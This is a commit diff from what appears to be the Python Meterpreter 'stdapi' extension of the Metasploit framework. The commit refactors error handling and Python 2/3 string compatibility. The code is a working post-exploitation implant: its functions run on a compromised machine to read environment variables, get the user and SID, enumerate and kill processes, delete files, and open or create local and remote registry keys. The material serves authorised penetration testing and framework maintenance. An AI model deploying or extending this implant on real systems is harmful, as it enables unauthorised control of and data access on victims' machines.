60
60
bytes = lambda * args : str (* args [:1 ])
61
61
NULL_BYTE = '\x00 '
62
62
else :
63
- is_str = lambda obj : issubclass (obj .__class__ , __builtins__ ['str' ])
63
+ if isinstance (__builtins__ , dict ):
64
+ is_str = lambda obj : issubclass (obj .__class__ , __builtins__ ['str' ])
65
+ str = lambda x : __builtins__ ['str' ](x , 'UTF-8' )
66
+ else :
67
+ is_str = lambda obj : issubclass (obj .__class__ , __builtins__ .str )
68
+ str = lambda x : __builtins__ .str (x , 'UTF-8' )
64
69
is_bytes = lambda obj : issubclass (obj .__class__ , bytes )
65
- str = lambda x : __builtins__ ['str' ](x , 'UTF-8' )
66
70
NULL_BYTE = bytes ('\x00 ' , 'UTF-8' )
67
71
long = int
68
72
@@ -501,6 +505,8 @@ class RTATTR(ctypes.Structure):
501
505
IFA_ADDRESS = 1
502
506
IFA_LABEL = 3
503
507
508
+ meterpreter .register_extension ('stdapi' )
509
+
504
510
def calculate_32bit_netmask (bits ):
505
511
if bits == 32 :
506
512
return 0xffffffff
@@ -669,8 +675,10 @@ def channel_open_stdapi_net_tcp_server(request, response):
669
675
@meterpreter .register_function
670
676
def stdapi_sys_config_getenv (request , response ):
671
677
for env_var in packet_enum_tlvs (request , TLV_TYPE_ENV_VARIABLE ):
672
- pgroup = ''
673
- env_var = env_var ['value' ].translate (None , '%$' )
678
+ pgroup = bytes ()
679
+ env_var = env_var ['value' ]
680
+ env_var = env_var .replace ('%' , '' )
681
+ env_var = env_var .replace ('$' , '' )
674
682
env_val = os .environ .get (env_var )
675
683
if env_val :
676
684
pgroup += tlv_pack (TLV_TYPE_ENV_VARIABLE , env_var )
@@ -682,23 +690,25 @@ def stdapi_sys_config_getenv(request, response):
682
690
def stdapi_sys_config_getsid (request , response ):
683
691
token = get_token_user (ctypes .windll .kernel32 .GetCurrentProcess ())
684
692
if not token :
685
- return ERROR_FAILURE , response
693
+ return error_result_windows () , response
686
694
sid_str = ctypes .c_char_p ()
687
695
if not ctypes .windll .advapi32 .ConvertSidToStringSidA (token .User .Sid , ctypes .byref (sid_str )):
688
- return ERROR_FAILURE , response
696
+ return error_result_windows () , response
689
697
sid_str = str (ctypes .string_at (sid_str ))
690
698
response += tlv_pack (TLV_TYPE_SID , sid_str )
691
699
return ERROR_SUCCESS , response
692
700
693
701
@meterpreter .register_function
694
702
def stdapi_sys_config_getuid (request , response ):
695
- if has_windll :
703
+ if has_pwd :
704
+ username = pwd .getpwuid (os .getuid ()).pw_name
705
+ elif has_windll :
696
706
token = get_token_user (ctypes .windll .kernel32 .GetCurrentProcess ())
697
707
if not token :
698
- return ERROR_FAILURE , response
708
+ return error_result_windows () , response
699
709
username = get_username_from_token (token )
700
710
if not username :
701
- return ERROR_FAILURE , response
711
+ return error_result_windows () , response
702
712
else :
703
713
username = getpass .getuser ()
704
714
response += tlv_pack (TLV_TYPE_USER_NAME , username )
@@ -786,9 +796,9 @@ def stdapi_sys_process_kill(request, response):
786
796
k32 = ctypes .windll .kernel32
787
797
proc_h = k32 .OpenProcess (PROCESS_TERMINATE , False , pid )
788
798
if not proc_h :
789
- return ERROR_FAILURE , response
799
+ return error_result_windows () , response
790
800
if not k32 .TerminateProcess (proc_h , 0 ):
791
- return ERROR_FAILURE , response
801
+ return error_result_windows () , response
792
802
elif hasattr (os , 'kill' ):
793
803
os .kill (pid , 9 )
794
804
else :
@@ -855,7 +865,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
855
865
proc_snap = k32 .CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS , 0 )
856
866
result = k32 .Process32First (proc_snap , ctypes .byref (pe32 ))
857
867
if not result :
858
- return ERROR_FAILURE , response
868
+ return error_result_windows () , response
859
869
while result :
860
870
proc_h = k32 .OpenProcess ((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ ), False , pe32 .th32ProcessID )
861
871
if not proc_h :
@@ -935,8 +945,7 @@ def stdapi_fs_delete_dir(request, response):
935
945
@meterpreter .register_function
936
946
def stdapi_fs_delete_file (request , response ):
937
947
file_path = packet_get_tlv (request , TLV_TYPE_FILE_PATH )['value' ]
938
- if os .path .exists (file_path ):
939
- os .unlink (file_path )
948
+ os .unlink (file_path )
940
949
return ERROR_SUCCESS , response
941
950
942
951
@meterpreter .register_function
@@ -1338,10 +1347,10 @@ def stdapi_registry_create_key(request, response):
1338
1347
base_key = ctypes .create_string_buffer (bytes (base_key , 'UTF-8' ))
1339
1348
permission = packet_get_tlv (request , TLV_TYPE_PERMISSION ).get ('value' , winreg .KEY_ALL_ACCESS )
1340
1349
res_key = ctypes .c_void_p ()
1341
- if ctypes .windll .advapi32 .RegCreateKeyExA (root_key , ctypes .byref (base_key ), 0 , None , 0 , permission , None , ctypes .byref (res_key ), None ) = = ERROR_SUCCESS :
1342
- response += tlv_pack ( TLV_TYPE_HKEY , res_key . value )
1343
- return ERROR_SUCCESS , response
1344
- return ERROR_FAILURE , response
1350
+ if ctypes .windll .advapi32 .RegCreateKeyExA (root_key , ctypes .byref (base_key ), 0 , None , 0 , permission , None , ctypes .byref (res_key ), None ) ! = ERROR_SUCCESS :
1351
+ return error_result_windows (), response
1352
+ response += tlv_pack ( TLV_TYPE_HKEY , res_key . value )
1353
+ return ERROR_SUCCESS , response
1345
1354
1346
1355
@meterpreter .register_function_windll
1347
1356
def stdapi_registry_delete_key (request , response ):
@@ -1432,33 +1441,31 @@ def stdapi_registry_open_key(request, response):
1432
1441
base_key = ctypes .create_string_buffer (bytes (base_key , 'UTF-8' ))
1433
1442
permission = packet_get_tlv (request , TLV_TYPE_PERMISSION ).get ('value' , winreg .KEY_ALL_ACCESS )
1434
1443
handle_id = ctypes .c_void_p ()
1435
- if ctypes .windll .advapi32 .RegOpenKeyExA (root_key , ctypes .byref (base_key ), 0 , permission , ctypes .byref (handle_id )) = = ERROR_SUCCESS :
1436
- response += tlv_pack ( TLV_TYPE_HKEY , handle_id . value )
1437
- return ERROR_SUCCESS , response
1438
- return ERROR_FAILURE , response
1444
+ if ctypes .windll .advapi32 .RegOpenKeyExA (root_key , ctypes .byref (base_key ), 0 , permission , ctypes .byref (handle_id )) ! = ERROR_SUCCESS :
1445
+ return error_result_windows (), response
1446
+ response += tlv_pack ( TLV_TYPE_HKEY , handle_id . value )
1447
+ return ERROR_SUCCESS , response
1439
1448
1440
1449
@meterpreter .register_function_windll
1441
1450
def stdapi_registry_open_remote_key (request , response ):
1442
1451
target_host = packet_get_tlv (request , TLV_TYPE_TARGET_HOST )['value' ]
1443
1452
root_key = packet_get_tlv (request , TLV_TYPE_ROOT_KEY )['value' ]
1444
1453
result_key = ctypes .c_void_p ()
1445
- result = ctypes .windll .advapi32 .RegConnectRegistry (target_host , root_key , ctypes .byref (result_key ))
1446
- if (result == ERROR_SUCCESS ):
1447
- response += tlv_pack (TLV_TYPE_HKEY , result_key .value )
1448
- return ERROR_SUCCESS , response
1449
- return ERROR_FAILURE , response
1454
+ if ctypes .windll .advapi32 .RegConnectRegistry (target_host , root_key , ctypes .byref (result_key )) != ERROR_SUCCESS :
1455
+ return error_result_windows (), response
1456
+ response += tlv_pack (TLV_TYPE_HKEY , result_key .value )
1457
+ return ERROR_SUCCESS , response
1450
1458
1451
1459
@meterpreter .register_function_windll
1452
1460
def stdapi_registry_query_class (request , response ):
1453
1461
hkey = packet_get_tlv (request , TLV_TYPE_HKEY )['value' ]
1454
1462
value_data = (ctypes .c_char * 4096 )()
1455
1463
value_data_sz = ctypes .c_uint32 ()
1456
1464
value_data_sz .value = ctypes .sizeof (value_data )
1457
- result = ctypes .windll .advapi32 .RegQueryInfoKeyA (hkey , value_data , ctypes .byref (value_data_sz ), None , None , None , None , None , None , None , None , None )
1458
- if result == ERROR_SUCCESS :
1459
- response += tlv_pack (TLV_TYPE_VALUE_DATA , ctypes .string_at (value_data ))
1460
- return ERROR_SUCCESS , response
1461
- return ERROR_FAILURE , response
1465
+ if ctypes .windll .advapi32 .RegQueryInfoKeyA (hkey , value_data , ctypes .byref (value_data_sz ), None , None , None , None , None , None , None , None , None ) != ERROR_SUCCESS :
1466
+ return error_result_windows (), response
1467
+ response += tlv_pack (TLV_TYPE_VALUE_DATA , ctypes .string_at (value_data ))
1468
+ return ERROR_SUCCESS , response
1462
1469
1463
1470
@meterpreter .register_function_windll
1464
1471
def stdapi_registry_query_value (request , response ):
@@ -1486,7 +1493,7 @@ def stdapi_registry_query_value(request, response):
1486
1493
else :
1487
1494
response += tlv_pack (TLV_TYPE_VALUE_DATA , ctypes .string_at (value_data , value_data_sz .value ))
1488
1495
return ERROR_SUCCESS , response
1489
- return ERROR_FAILURE , response
1496
+ return error_result_windows () , response
1490
1497
1491
1498
@meterpreter .register_function_windll
1492
1499
def stdapi_registry_set_value (request , response ):
0 commit comments